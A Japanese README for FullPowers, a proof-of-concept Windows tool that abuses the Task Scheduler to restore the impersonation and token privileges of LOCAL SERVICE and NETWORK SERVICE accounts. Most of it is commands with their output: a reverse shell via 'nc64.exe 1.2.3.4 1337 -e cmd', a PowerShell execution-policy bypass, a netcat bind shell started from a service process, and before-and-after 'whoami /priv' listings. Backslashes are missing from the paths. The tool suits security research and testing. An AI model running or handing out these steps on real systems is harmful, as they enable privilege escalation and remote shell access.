FullPowersは、 SeAssignPrimaryTokenやSeImpersonateなどのサービス アカウントのデフォルトの権限セットを自動的に回復するために私が作成した概念実証ツールです。
Windows では、 LOCAL SERVICE
またはNETWORK SERVICE
として実行される一部のサービスは、制限された権限セットで実行されるように構成されています。したがって、サービスが侵害された場合でも、ゴールデンの偽装権限は取得できず、 LOCAL SYSTEM
への権限昇格はより複雑になるはずです。ただし、スケジュールされたタスクを作成すると、タスク スケジューラ サービスによって作成された新しいプロセスには、関連付けられたユーザー アカウントのすべての既定の権限( SeImpersonateを除く) が付与されることがわかりました。したがって、いくつかのトークン操作を行うと、不足している権限をすべて備えた新しいプロセスを生成できます。
使用法
LOCAL SERVICE
またはNETWORK SERVICE
としてのみ実行する必要があります。
-h
オプションを使用してヘルプ メッセージを確認できます。
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
この PoC を自分でテストしてみませんか?それは素晴らしいことです!ここでは、始めるための簡単な手順をいくつか示します。
全体的な考え方は、既存のサービスのプロセスからバインドシェルを開始し、それに接続して、実行可能ファイルを実行することです。
netcat と RunFromProcess という 2 つのサードパーティ ツールが必要です。
権限が制限されているサービス (例: upnphost
を選択します。
タスク マネージャーを開き、 [サービス]タブに移動して、対応するプロセスのPIDを取得します。
次のコマンドを使用して、管理者としてバインドシェルを起動します。
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
次のコマンドを使用してバインドシェルに接続します。
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
現在のプロセスには偽装権限がないことがわかります。次に PoC を実行します...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
これで、偽装権限を持つシェルが作成されたはずです。